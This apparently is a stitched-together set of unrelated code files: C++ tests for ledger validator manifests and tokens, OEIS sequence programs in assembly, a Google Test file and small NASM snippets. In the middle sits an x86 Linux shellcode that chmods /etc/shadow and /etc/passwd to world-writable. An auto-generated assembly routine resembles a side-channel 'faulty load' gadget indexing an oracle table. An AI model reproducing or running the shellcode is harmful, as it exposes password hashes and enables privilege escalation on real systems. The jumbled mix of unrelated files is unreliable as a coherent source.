return boost::filesystem::current_path () / "manifest_test_databases";
}
public:
Manifest_test ()
{
try
{
setupDatabaseDir (getDatabasePath ());
}
catch (std::exception const&)
{
}
}
~Manifest_test ()
{
try
{
cleanupDatabaseDir (getDatabasePath ());
}
catch (std::exception const&)
{
}
}
std::string
makeManifestString (
PublicKey const& pk,
SecretKey const& sk,
PublicKey const& spk,
SecretKey const& ssk,
int seq)
{
STObject st(sfGeneric);
st[sfSequence] = seq;
st[sfPublicKey] = pk;
st[sfSigningPubKey] = spk;
sign(st, HashPrefix::manifest, *publicKeyType(spk), ssk);
sign(st, HashPrefix::manifest, *publicKeyType(pk), sk,
sfMasterSignature);
Serializer s;
st.add(s);
return beast::detail::base64_encode (std::string(
static_cast<char const*> (s.data()), s.size()));
}
Manifest
make_Manifest
(SecretKey const& sk, KeyType type, SecretKey const& ssk, KeyType stype,
int seq, bool invalidSig = false)
{
auto const pk = derivePublicKey(type, sk);
auto const spk = derivePublicKey(stype, ssk);
STObject st(sfGeneric);
st[sfSequence] = seq;
st[sfPublicKey] = pk;
st[sfSigningPubKey] = spk;
sign(st, HashPrefix::manifest, stype, ssk);
BEAST_EXPECT(verify(st, HashPrefix::manifest, spk));
sign(st, HashPrefix::manifest, type,
invalidSig ? randomSecretKey() : sk, sfMasterSignature);
BEAST_EXPECT(invalidSig ^ verify(
st, HashPrefix::manifest, pk, sfMasterSignature));
Serializer s;
st.add(s);
std::string const m (static_cast<char const*> (s.data()), s.size());
if (auto r = Manifest::make_Manifest (std::move (m)))
return std::move (*r);
Throw<std::runtime_error> ("Could not create a manifest");
return *Manifest::make_Manifest(std::move(m)); // Silence compiler warning.
}
std::string
makeRevocation
(SecretKey const& sk, KeyType type, bool invalidSig = false)
{
auto const pk = derivePublicKey(type, sk);
STObject st(sfGeneric);
st[sfSequence] = std::numeric_limits<std::uint32_t>::max ();
st[sfPublicKey] = pk;
sign(st, HashPrefix::manifest, type,
invalidSig ? randomSecretKey() : sk, sfMasterSignature);
BEAST_EXPECT(invalidSig ^ verify(
st, HashPrefix::manifest, pk, sfMasterSignature));
Serializer s;
st.add(s);
return beast::detail::base64_encode (std::string(
static_cast<char const*> (s.data()), s.size()));
}
Manifest
clone (Manifest const& m)
{
return Manifest (m.serialized, m.masterKey, m.signingKey, m.sequence);
}
void testLoadStore (ManifestCache& m)
{
testcase ("load/store");
std::string const dbName("ManifestCacheTestDB");
{
DatabaseCon::Setup setup;
setup.dataDir = getDatabasePath ();
DatabaseCon dbCon(setup, dbName, WalletDBInit, WalletDBCount);
auto getPopulatedManifests =
[](ManifestCache const& cache) -> std::vector<Manifest const*>
{
std::vector<Manifest const*> result;
result.reserve (32);
cache.for_each_manifest (
[&result](Manifest const& m)
{result.push_back (&m);});
return result;
};
auto sort =
[](std::vector<Manifest const*> mv) -> std::vector<Manifest const*>
{
std::sort (mv.begin (),
mv.end (),
[](Manifest const* lhs, Manifest const* rhs)
{return lhs->serialized < rhs->serialized;});
return mv;
};
std::vector<Manifest const*> const inManifests (
sort (getPopulatedManifests (m)));
beast::Journal journal;
jtx::Env env (*this);
auto unl = std::make_unique<ValidatorList> (
m, m, env.timeKeeper(), journal);
{
// save should not store untrusted master keys to db
// except for revocations
m.save (dbCon, "ValidatorManifests",
[&unl](PublicKey const& pubKey)
{
return unl->listed (pubKey);
});
ManifestCache loaded;
loaded.load (dbCon, "ValidatorManifests");
// check that all loaded manifests are revocations
std::vector<Manifest const*> const loadedManifests (
sort (getPopulatedManifests (loaded)));
for (auto const& man : loadedManifests)
BEAST_EXPECT(man->revoked());
}
{
// save should store all trusted master keys to db
PublicKey emptyLocalKey;
std::vector<std::string> s1;
std::vector<std::string> keys;
std::string cfgManifest;
for (auto const& man : inManifests)
s1.push_back (toBase58(
TokenType::TOKEN_NODE_PUBLIC, man->masterKey));
unl->load (emptyLocalKey, s1, keys);
m.save (dbCon, "ValidatorManifests",
[&unl](PublicKey const& pubKey)
{
return unl->listed (pubKey);
});
ManifestCache loaded;
loaded.load (dbCon, "ValidatorManifests");
// check that the manifest caches are the same
std::vector<Manifest const*> const loadedManifests (
sort (getPopulatedManifests (loaded)));
if (inManifests.size () == loadedManifests.size ())
{
BEAST_EXPECT(std::equal
(inManifests.begin (), inManifests.end (),
loadedManifests.begin (),
[](Manifest const* lhs, Manifest const* rhs)
{return *lhs == *rhs;}));
}
else
{
fail ();
}
}
{
// load config manifest
ManifestCache loaded;
std::vector<std::string> const emptyRevocation;
std::string const badManifest = "bad manifest";
BEAST_EXPECT(! loaded.load (
dbCon, "ValidatorManifests", badManifest, emptyRevocation));
auto const sk = randomSecretKey();
auto const pk = derivePublicKey(KeyType::ed25519, sk);
auto const kp = randomKeyPair(KeyType::secp256k1);
std::string const cfgManifest =
makeManifestString (pk, sk, kp.first, kp.second, 0);
BEAST_EXPECT(loaded.load (
dbCon, "ValidatorManifests", cfgManifest, emptyRevocation));
}
{
// load config revocation
ManifestCache loaded;
std::string const emptyManifest;
std::vector<std::string> const badRevocation = { "bad revocation" };
BEAST_EXPECT(! loaded.load (
dbCon, "ValidatorManifests", emptyManifest, badRevocation));
auto const sk = randomSecretKey();
auto const keyType = KeyType::ed25519;
auto const pk = derivePublicKey(keyType, sk);
auto const kp = randomKeyPair(KeyType::secp256k1);
std::vector<std::string> const nonRevocation =
{ makeManifestString (pk, sk, kp.first, kp.second, 0) };
BEAST_EXPECT(! loaded.load (
dbCon, "ValidatorManifests", emptyManifest, nonRevocation));
BEAST_EXPECT(! loaded.revoked(pk));
std::vector<std::string> const badSigRevocation =
{ makeRevocation (sk, keyType, true /* invalidSig */) };
BEAST_EXPECT(! loaded.load (
dbCon, "ValidatorManifests", emptyManifest, badSigRevocation));
BEAST_EXPECT(! loaded.revoked(pk));
std::vector<std::string> const cfgRevocation =
{ makeRevocation (sk, keyType) };
BEAST_EXPECT(loaded.load (
dbCon, "ValidatorManifests", emptyManifest, cfgRevocation));
BEAST_EXPECT(loaded.revoked(pk));
}
}
boost::filesystem::remove (getDatabasePath () /
boost::filesystem::path (dbName));
}
void testGetSignature()
{
testcase ("getSignature");
auto const sk = randomSecretKey();
auto const pk = derivePublicKey(KeyType::ed25519, sk);
auto const kp = randomKeyPair(KeyType::secp256k1);
auto const m = make_Manifest (
sk, KeyType::ed25519, kp.second, KeyType::secp256k1, 0);
STObject st(sfGeneric);
st[sfSequence] = 0;
st[sfPublicKey] = pk;
st[sfSigningPubKey] = kp.first;
Serializer ss;
ss.add32(HashPrefix::manifest);
st.addWithoutSigningFields(ss);
auto const sig = sign(KeyType::secp256k1, kp.second, ss.slice());
BEAST_EXPECT(strHex(sig) == strHex(m.getSignature()));
auto const masterSig = sign(KeyType::ed25519, sk, ss.slice());
BEAST_EXPECT(strHex(masterSig) == strHex(m.getMasterSignature()));
}
void testGetKeys()
{
testcase ("getKeys");
ManifestCache cache;
auto const sk = randomSecretKey();
auto const pk = derivePublicKey(KeyType::ed25519, sk);
// getSigningKey should return same key if there is no manifest
BEAST_EXPECT(cache.getSigningKey(pk) == pk);
// getSigningKey should return the ephemeral public key
// for the listed validator master public key
// getMasterKey should return the listed validator master key
// for that ephemeral public key
auto const kp0 = randomKeyPair(KeyType::secp256k1);
auto const m0 = make_Manifest (
sk, KeyType::ed25519, kp0.second, KeyType::secp256k1, 0);
BEAST_EXPECT(cache.applyManifest(clone (m0)) ==
ManifestDisposition::accepted);
BEAST_EXPECT(cache.getSigningKey(pk) == kp0.first);
BEAST_EXPECT(cache.getMasterKey(kp0.first) == pk);
// getSigningKey should return the latest ephemeral public key
// for the listed validator master public key
// getMasterKey should only return a master key for the latest
// ephemeral public key
auto const kp1 = randomKeyPair(KeyType::secp256k1);
auto const m1 = make_Manifest (
sk, KeyType::ed25519, kp1.second, KeyType::secp256k1, 1);
BEAST_EXPECT(cache.applyManifest(clone (m1)) ==
ManifestDisposition::accepted);
BEAST_EXPECT(cache.getSigningKey(pk) == kp1.first);
BEAST_EXPECT(cache.getMasterKey(kp1.first) == pk);
BEAST_EXPECT(cache.getMasterKey(kp0.first) == kp0.first);
// getSigningKey and getMasterKey should return the same keys if
// a new manifest is applied with the same signing key but a higher
// sequence
auto const m2 = make_Manifest (
sk, KeyType::ed25519, kp1.second, KeyType::secp256k1, 2);
BEAST_EXPECT(cache.applyManifest(clone (m2)) ==
ManifestDisposition::accepted);
BEAST_EXPECT(cache.getSigningKey(pk) == kp1.first);
BEAST_EXPECT(cache.getMasterKey(kp1.first) == pk);
BEAST_EXPECT(cache.getMasterKey(kp0.first) == kp0.first);
// getSigningKey should return boost::none for a
// revoked master public key
// getMasterKey should return boost::none for an ephemeral public key
// from a revoked master public key
auto const kpMax = randomKeyPair(KeyType::secp256k1);
auto const mMax = make_Manifest (
sk, KeyType::ed25519, kpMax.second, KeyType::secp256k1,
std::numeric_limits<std::uint32_t>::max ());
BEAST_EXPECT(cache.applyManifest(clone (mMax)) ==
ManifestDisposition::accepted);
BEAST_EXPECT(cache.revoked(pk));
BEAST_EXPECT(cache.getSigningKey(pk) == pk);
BEAST_EXPECT(cache.getMasterKey(kpMax.first) == kpMax.first);
BEAST_EXPECT(cache.getMasterKey(kp1.first) == kp1.first);
}
void testValidatorToken()
{
testcase ("validator token");
{
auto const valSecret = parseBase58<SecretKey>(
TokenType::TOKEN_NODE_PRIVATE,
"paQmjZ37pKKPMrgadBLsuf9ab7Y7EUNzh27LQrZqoexpAs31nJi");
// Format token string to test trim()
std::vector<std::string> const tokenBlob = {
" eyJ2YWxpZGF0aW9uX3NlY3JldF9rZXkiOiI5ZWQ0NWY4NjYyNDFjYzE4YTI3NDdiNT\n",
" \tQzODdjMDYyNTkwNzk3MmY0ZTcxOTAyMzFmYWE5Mzc0NTdmYTlkYWY2IiwibWFuaWZl \n",
"\tc3QiOiJKQUFBQUFGeEllMUZ0d21pbXZHdEgyaUNjTUpxQzlnVkZLaWxHZncxL3ZDeE\n",
"\t hYWExwbGMyR25NaEFrRTFhZ3FYeEJ3RHdEYklENk9NU1l1TTBGREFscEFnTms4U0tG\t \t\n",
"bjdNTzJmZGtjd1JRSWhBT25ndTlzQUtxWFlvdUorbDJWMFcrc0FPa1ZCK1pSUzZQU2\n",
"hsSkFmVXNYZkFpQnNWSkdlc2FhZE9KYy9hQVpva1MxdnltR21WcmxIUEtXWDNZeXd1\n",
"NmluOEhBU1FLUHVnQkQ2N2tNYVJGR3ZtcEFUSGxHS0pkdkRGbFdQWXk1QXFEZWRGdj\n",
"VUSmEydzBpMjFlcTNNWXl3TFZKWm5GT3I3QzBrdzJBaVR6U0NqSXpkaXRROD0ifQ==\n"
};
auto const manifest =
"JAAAAAFxIe1FtwmimvGtH2iCcMJqC9gVFKilGfw1/vCxHXXLplc2GnMhAkE1agqXxBwD"
"wDbID6OMSYuM0FDAlpAgNk8SKFn7MO2fdkcwRQIhAOngu9sAKqXYouJ+l2V0W+sAOkVB"
"+ZRS6PShlJAfUsXfAiBsVJGesaadOJc/aAZokS1vymGmVrlHPKWX3Yywu6in8HASQKPu"
"gBD67kMaRFGvmpATHlGKJdvDFlWPYy5AqDedFv5TJa2w0i21eq3MYywLVJZnFOr7C0kw"
"2AiTzSCjIzditQ8=";
auto const token = ValidatorToken::make_ValidatorToken(tokenBlob);
BEAST_EXPECT(token);
BEAST_EXPECT(token->validationSecret == *valSecret);
BEAST_EXPECT(token->manifest == manifest);
}
{
std::vector<std::string> const badToken = { "bad token" };
BEAST_EXPECT(! ValidatorToken::make_ValidatorToken(badToken));
}
}
void testMakeManifest()
{
testcase ("make_Manifest");
std::array<KeyType, 2> const keyTypes {{
KeyType::ed25519,
KeyType::secp256k1 }};
std::uint32_t sequence = 0;
// public key with invalid type
auto const ret = strUnHex("9930E7FC9D56BB25D6893BA3F317AE5BCF33B3291BD63DB32654A313222F7FD020");
auto const badKey = Slice{ret.first.data(), ret.first.size()};
// short public key
auto const retShort = strUnHex("0330");
auto const shortKey = Slice{retShort.first.data(), retShort.first.size()};
auto toString = [](STObject const& st)
{
Serializer s;
st.add(s);
return std::string (static_cast<char const*> (s.data()), s.size());
};
for (auto const keyType : keyTypes)
{
auto const sk = generateSecretKey (keyType, randomSeed ());
auto const pk = derivePublicKey(keyType, sk);
for (auto const sKeyType : keyTypes)
{
auto const ssk = generateSecretKey (sKeyType, randomSeed ());
auto const spk = derivePublicKey(sKeyType, ssk);
auto buildManifestObject = [&](
std::uint32_t const& seq,
bool noSigningPublic = false,
bool noSignature = false)
{
STObject st(sfGeneric);
st[sfSequence] = seq;
st[sfPublicKey] = pk;
if (! noSigningPublic)
st[sfSigningPubKey] = spk;
sign(st, HashPrefix::manifest, keyType, sk,
sfMasterSignature);
if (! noSignature)
sign(st, HashPrefix::manifest, sKeyType, ssk);
return st;
};
auto const st = buildManifestObject(++sequence);
{
// valid manifest
auto const m = toString(st);
auto const manifest = Manifest::make_Manifest (m);
BEAST_EXPECT(manifest);
BEAST_EXPECT(manifest->masterKey == pk);
BEAST_EXPECT(manifest->signingKey == spk);
BEAST_EXPECT(manifest->sequence == sequence);
BEAST_EXPECT(manifest->serialized == m);
BEAST_EXPECT(manifest->verify());
}
{
// valid manifest with invalid signature
auto badSigSt = st;
badSigSt[sfPublicKey] = badSigSt[sfSigningPubKey];
auto const m = toString(badSigSt);
auto const manifest = Manifest::make_Manifest (m);
BEAST_EXPECT(manifest);
BEAST_EXPECT(manifest->masterKey == spk);
BEAST_EXPECT(manifest->signingKey == spk);
BEAST_EXPECT(manifest->sequence == sequence);
BEAST_EXPECT(manifest->serialized == m);
BEAST_EXPECT(! manifest->verify());
}
{
// reject missing sequence
auto badSt = st;
BEAST_EXPECT(badSt.delField(sfSequence));
BEAST_EXPECT(! Manifest::make_Manifest (toString(badSt)));
}
{
// reject missing public key
auto badSt = st;
BEAST_EXPECT(badSt.delField(sfPublicKey));
BEAST_EXPECT(! Manifest::make_Manifest (toString(badSt)));
}
{
// reject invalid public key type
auto badSt = st;
badSt[sfPublicKey] = badKey;
BEAST_EXPECT(! Manifest::make_Manifest (toString(badSt)));
}
{
// reject short public key
auto badSt = st;
badSt[sfPublicKey] = shortKey;
BEAST_EXPECT(! Manifest::make_Manifest (toString(badSt)));
}
{
// reject missing signing public key
auto badSt = st;
BEAST_EXPECT(badSt.delField(sfSigningPubKey));
BEAST_EXPECT(! Manifest::make_Manifest (toString(badSt)));
}
{
// reject invalid signing public key type
auto badSt = st;
badSt[sfSigningPubKey] = badKey;
BEAST_EXPECT(! Manifest::make_Manifest (toString(badSt)));
}
{
// reject short signing public key
auto badSt = st;
badSt[sfSigningPubKey] = shortKey;
BEAST_EXPECT(! Manifest::make_Manifest (toString(badSt)));
}
{
// reject missing signature
auto badSt = st;
BEAST_EXPECT(badSt.delField(sfMasterSignature));
BEAST_EXPECT(! Manifest::make_Manifest (toString(badSt)));
}
{
// reject missing signing key signature
auto badSt = st;
BEAST_EXPECT(badSt.delField(sfSignature));
BEAST_EXPECT(! Manifest::make_Manifest (toString(badSt)));
}
// test revocations (max sequence revoking the master key)
auto testRevocation = [&](STObject const& st)
{
auto const m = toString(st);
auto const manifest = Manifest::make_Manifest (m);
BEAST_EXPECT(manifest);
BEAST_EXPECT(manifest->masterKey == pk);
BEAST_EXPECT(manifest->signingKey == PublicKey());
BEAST_EXPECT(manifest->sequence ==
std::numeric_limits<std::uint32_t>::max ());
BEAST_EXPECT(manifest->serialized == m);
BEAST_EXPECT(manifest->verify());
};
// valid revocation
{
auto const revSt = buildManifestObject(
std::numeric_limits<std::uint32_t>::max ());
testRevocation(revSt);
}
// signing key and signature are optional in revocation
{
auto const revSt = buildManifestObject(
std::numeric_limits<std::uint32_t>::max (),
true /* no signing key */);
testRevocation(revSt);
}
{
auto const revSt = buildManifestObject(
std::numeric_limits<std::uint32_t>::max (),
false, true /* no signature */);
testRevocation(revSt);
}
{
auto const revSt = buildManifestObject(
std::numeric_limits<std::uint32_t>::max (),
true /* no signing key */,
true /* no signature */);
testRevocation(revSt);
}
}
}
}
void
run() override
{
ManifestCache cache;
{
testcase ("apply");
auto const accepted = ManifestDisposition::accepted;
auto const stale = ManifestDisposition::stale;
auto const invalid = ManifestDisposition::invalid;
auto const sk_a = randomSecretKey();
auto const pk_a = derivePublicKey(KeyType::ed25519, sk_a);
auto const kp_a = randomKeyPair(KeyType::secp256k1);
auto const s_a0 = make_Manifest (
sk_a, KeyType::ed25519, kp_a.second, KeyType::secp256k1, 0);
auto const s_a1 = make_Manifest (
sk_a, KeyType::ed25519, kp_a.second, KeyType::secp256k1, 1);
auto const s_aMax = make_Manifest (
sk_a, KeyType::ed25519, kp_a.second, KeyType::secp256k1,
std::numeric_limits<std::uint32_t>::max ());
auto const sk_b = randomSecretKey();
auto const kp_b = randomKeyPair(KeyType::secp256k1);
auto const s_b0 = make_Manifest (
sk_b, KeyType::ed25519, kp_b.second, KeyType::secp256k1, 0);
auto const s_b1 = make_Manifest (
sk_b, KeyType::ed25519, kp_b.second, KeyType::secp256k1, 1);
auto const s_b2 = make_Manifest (
sk_b, KeyType::ed25519, kp_b.second, KeyType::secp256k1, 2,
true); // invalidSig
auto const fake = s_b1.serialized + '\0';
// applyManifest should accept new manifests with
// higher sequence numbers
BEAST_EXPECT(cache.applyManifest (clone (s_a0)) == accepted);
BEAST_EXPECT(cache.applyManifest (clone (s_a0)) == stale);
BEAST_EXPECT(cache.applyManifest (clone (s_a1)) == accepted);
BEAST_EXPECT(cache.applyManifest (clone (s_a1)) == stale);
BEAST_EXPECT(cache.applyManifest (clone (s_a0)) == stale);
// applyManifest should accept manifests with max sequence numbers
// that revoke the master public key
BEAST_EXPECT(!cache.revoked (pk_a));
BEAST_EXPECT(s_aMax.revoked ());
BEAST_EXPECT(cache.applyManifest (clone (s_aMax)) == accepted);
BEAST_EXPECT(cache.applyManifest (clone (s_aMax)) == stale);
BEAST_EXPECT(cache.applyManifest (clone (s_a1)) == stale);
BEAST_EXPECT(cache.applyManifest (clone (s_a0)) == stale);
BEAST_EXPECT(cache.revoked (pk_a));
// applyManifest should reject manifests with invalid signatures
BEAST_EXPECT(cache.applyManifest (clone (s_b0)) == accepted);
BEAST_EXPECT(cache.applyManifest (clone (s_b0)) == stale);
BEAST_EXPECT(!Manifest::make_Manifest(fake));
BEAST_EXPECT(cache.applyManifest (clone (s_b2)) == invalid);
}
testLoadStore (cache);
testGetSignature ();
testGetKeys ();
testValidatorToken ();
testMakeManifest ();
}
};
BEAST_DEFINE_TESTSUITE(Manifest,app,ripple);
} // test
} // ripple
|
; A274039: Expansion of (x^4 + x^10) / (1 - 2*x + x^2).
; 0,0,0,0,1,2,3,4,5,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110,112
trn $0,3
mov $1,$0
trn $1,6
add $0,$1
|
; A186386: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) after g(j) when f(i)=g(j), where f(i)=5i and g(j)=j(j+1)/2 (triangular number). Complement of A186385.
; 1,2,4,5,7,10,12,15,17,20,24,27,31,34,38,43,47,52,56,61,67,72,78,83,89,96,102,109,115,122,130,137,145,152,160,169,177,186,194,203,213,222,232,241,251,262,272,283,293,304,316,327,339,350,362,375,387,400,412,425,439,452,466,479,493,508,522,537,551,566,582,597,613,628,644,661,677,694,710,727,745,762,780,797,815,834,852,871,889,908
add $0,6
mov $1,$0
sub $0,1
bin $1,2
add $0,$1
div $0,5
sub $0,3
|
; A182883: Number of weighted lattice paths of weight n having no (1,0)-steps of weight 1.
; Submitted by Jon Maiga
; 1,0,1,2,1,6,7,12,31,40,91,170,281,602,1051,1988,3907,7044,13735,25962,48643,94094,177145,338184,647791,1228812,2356927,4500678,8595913,16486966,31521543,60419872,115870879,222045160,426275647,818054654
mov $5,$0
add $5,1
lpb $5
mov $0,$3
sub $5,1
sub $0,$5
mov $1,$3
bin $1,$0
mov $2,$5
bin $2,$0
mul $1,$2
add $3,1
add $4,$1
lpe
mov $0,$4
|
; Author: Robert C. Raducioiu (rbct)
global _start
section .text
_start:
; clear ECX, EAX, EDX
xor ecx, ecx
mul ecx
; store "/etc" into ESI
; this allows me to reuse this value for the second call to chmod
mov esi, 0x6374652f
; add a NULL byte (in this case a NULL DWORD) at the end of the string
; pushed to the stack
push eax
; store the string "/etc//shadow" on the stack
push dword 0x776f6461
push dword 0x68732f2f
push esi
; 1st argument of chmod(): const char *pathname
; store into EBX the pointer to "/etc//shadow"
mov ebx,esp
; set EAX to 0x0000000f -> chmod() syscall
add al, 0xf
; 2nd argument of chmod(): mode_t mode
; in this case ECX is set to the binary value 110110110
mov cx,0x1b6
; call chmod()
int 0x80
; like before, it acts as the string terminator
push eax
; push "/etc//passwd" to the stack
push dword 0x64777373
; also set EAX to 0x0000000f -> chmod() syscall
add al, 0xf
push dword 0x61702f2f
; reuse the value of "/etc" from before
push esi
; 1st argument of chmod(): const char *pathname
; store into EBX the pointer to "/etc//passwd"
push esp
pop ebx
; call chmod()
int 0x80
; invoke the exit syscall
; exit code is set to ESP, but it's not important
inc eax
int 0x80
|
; A142272: Primes congruent to 23 mod 43.
; Submitted by Jon Maiga
; 23,109,281,367,797,883,1399,1571,1657,2087,2689,2861,3119,3463,4409,5011,5441,5527,6043,6301,6473,7247,7333,7591,8537,8623,9311,9397,10343,10429,10601,10687,10859,11117,11633,11719,12149,12923,13009,13267,13697,14557,15073,15331,15761,16363,16879,17137,17911,18169,18341,18427,19373,19717,19889,20147,20233,20663,20749,20921,21179,21523,22039,22469,22727,23071,24103,24533,24877,25307,26339,26597,26683,27457,28403,28661,30467,30553,30983,31069,31327,32359,32531,32789,33391,33563,34337,34939,35111
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,22
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,64
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
div $1,2
mul $1,2
mov $0,$1
sub $0,63
|
; A214663: Number of permutations of 1..n for which the partial sums of signed displacements do not exceed 2.
; Submitted by Christian Krause
; 1,1,2,6,12,25,57,124,268,588,1285,2801,6118,13362,29168,63685,139057,303608,662888,1447352,3160121,6899745,15064810,32892270,71816436,156802881,342360937,747505396,1632091412,3563482500,7780451037,16987713169,37090703118,80983251898,176817545560,386060619981,842918624353,1840415132912,4018333162768,8773564788720,19156061974577,41825041384513,91320130888018,199386922984982,435338240001116,950510597034665,2075329736878745,4531241976901740,9893441744885596,21601183529458236,47163680941927797
add $0,2
mov $2,1
lpb $0
sub $0,1
add $5,$1
mov $1,$3
add $4,$3
mov $3,$5
sub $4,$5
sub $3,$4
mov $4,$2
mov $2,$3
add $5,$4
mov $3,$5
lpe
mov $0,$1
|
; A073357: Binomial transform of tribonacci numbers.
; 0,1,3,8,22,62,176,500,1420,4032,11448,32504,92288,262032,743984,2112384,5997664,17029088,48350464,137280832,389779648,1106696192,3142227840,8921685888,25331224576,71922610432,204208915200,579807668224,1646240232960,4674148089344,13271246761984,37680875156480,106986809756672,303766231924736,862479438985216,2448826447755264,6952920498929664,19741335082668032,56051311230464000,159145745589043200,451860407599652864,1282961270503366656,3642694942792941568,10342655504357605376,29365764787265388544,83377827017217015808,236733559928521719808,672154461219749593088,1908439259199345524736,5418606311775427166208,15384977132743825752064,43682361802272285392896,124026751301664692895744,352147512263057281515520,999847767450114925264896,2838854523351559960788992,8060322048131894705127424,22885565634021568827883520,64978683390261816412602368,184493115121224779749130240,523828858191894991001878528,1487300339063204477836197888,4222872153727687506835537920,11989944975041722098001117184,34042891963382547320334712832,96657532260818675903005458432,274438451139827958526685216768,779209459442802225135388459008,2212399097733534418240823885824,6281635455442584689475112140800,17835364349721805535207929937920,50639713772583952219412918960128,143780668602333756115770180370432,408234548018442826655844905517056,1159094945209604186599124738506752,3291002925969312952004659692699648,9344101019075720714933829627805696,26530582262844839424914929217437696,75327930827015100743933717743927296,213877596294832486705942813361569792,607259826396959222697866240905445376
mov $2,1
lpb $0
sub $0,1
add $1,$2
mul $2,2
add $2,$4
add $3,$1
mov $4,$3
lpe
mov $0,$1
|
; A082532: a(n) = n^2 - 2*floor(n/sqrt(2))^2.
; 1,2,1,8,7,4,17,14,9,2,23,16,7,34,25,14,1,36,23,8,49,34,17,64,47,28,7,62,41,18,79,56,31,4,73,46,17,92,63,32,113,82,49,14,103,68,31,126,89,50,9,112,71,28,137,94,49,2,119,72,23,146,97,46,175,124,71,16,153,98,41,184,127,68,7,158,97,34,191,128,63,226,161,94,25,196,127,56,233,162,89,14,199,124,47,238,161,82,1,200
add $0,1
pow $0,2
mov $2,-1
lpb $0
sub $2,1
add $0,$2
sub $2,3
lpe
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rbx
push %rdx
lea addresses_D_ht+0xd4a0, %r14
nop
and $6774, %r10
mov $0x6162636465666768, %rdx
movq %rdx, %xmm7
and $0xffffffffffffffc0, %r14
movaps %xmm7, (%r14)
inc %rbx
pop %rdx
pop %rbx
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r8
push %rbp
push %rbx
push %rcx
push %rdx
// Load
lea addresses_PSE+0x4cc4, %r11
clflush (%r11)
nop
sub $35545, %r8
movb (%r11), %r10b
nop
nop
nop
nop
nop
inc %r11
// Store
lea addresses_A+0x1bac2, %rbx
xor %rcx, %rcx
movb $0x51, (%rbx)
sub %r8, %r8
// Store
lea addresses_normal+0x1e7a0, %rbp
nop
xor %rcx, %rcx
mov $0x5152535455565758, %r8
movq %r8, %xmm7
vmovups %ymm7, (%rbp)
add $15964, %rbx
// Store
lea addresses_PSE+0x1a7a0, %rbp
nop
nop
nop
sub $62160, %r8
mov $0x5152535455565758, %r10
movq %r10, %xmm4
vmovups %ymm4, (%rbp)
nop
nop
nop
nop
nop
and %r10, %r10
// Store
lea addresses_UC+0x10aee, %r8
sub %rbp, %rbp
mov $0x5152535455565758, %rbx
movq %rbx, %xmm4
movups %xmm4, (%r8)
sub %r10, %r10
// Store
mov $0xfa0, %rbp
cmp $24816, %rbx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
vmovaps %ymm5, (%rbp)
nop
nop
nop
nop
add %rcx, %rcx
// Store
lea addresses_PSE+0x1231c, %rbp
nop
nop
nop
cmp $22629, %r10
movl $0x51525354, (%rbp)
dec %rbp
// Faulty Load
lea addresses_normal+0x1e7a0, %r10
nop
nop
nop
nop
nop
add %rdx, %rdx
mov (%r10), %rbx
lea oracles, %r10
and $0xff, %rbx
shlq $12, %rbx
mov (%r10,%rbx,1), %rbx
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_P', 'AVXalign': True, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 4}}
[Faulty Load]
{'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 16}}
{'58': 8}
58 58 58 58 58 58 58 58
*/
|
#include "cpp_odbc/environment.h"
#include <gtest/gtest.h>
#include "cpp_odbc_test/mock_connection.h"
#include "cpp_odbc_test/mock_environment.h"
using cpp_odbc_test::mock_environment;
TEST(EnvironmentTest, IsSharable)
{
auto environment = std::make_shared<mock_environment>();
auto shared = environment->shared_from_this();
EXPECT_TRUE( environment == shared );
}
TEST(EnvironmentTest, MakeConnectionForwards)
{
mock_environment environment;
std::string const connection_string("test DSN");
auto expected = std::make_shared<cpp_odbc_test::mock_connection>();
EXPECT_CALL(environment, do_make_connection(connection_string))
.WillOnce(testing::Return(expected));
EXPECT_TRUE( expected == environment.make_connection(connection_string) );
}
TEST(EnvironmentTest, SetIntegerAttributeForwards)
{
mock_environment environment;
SQLINTEGER const attribute = 42;
intptr_t const value = 17;
EXPECT_CALL(environment, do_set_attribute(attribute, value)).Times(1);
environment.set_attribute(attribute, value);
}
|
SECTION .text
GLOBAL test
test:
mov [rsp + 0x03f0 ], rax
mov [rsp + 0x03f0 ], rax
mov byte [ rsp + 0xa0 ], r14b
mov byte [ rsp + 0xa0 ], ah
mov byte [ rsp + 0xa0 ], ch
mov byte [ rsp + 0xa0 ], dh
mov byte [ rsp + 0xa0 ], bh
mov byte [ rsp + 0xa0 ], spl
mov byte [ rbp + 0xa0 ], spl
mov word [ rsp + 0xa0 ], ax
mov dword [ rsp + 0xa0 ], eax
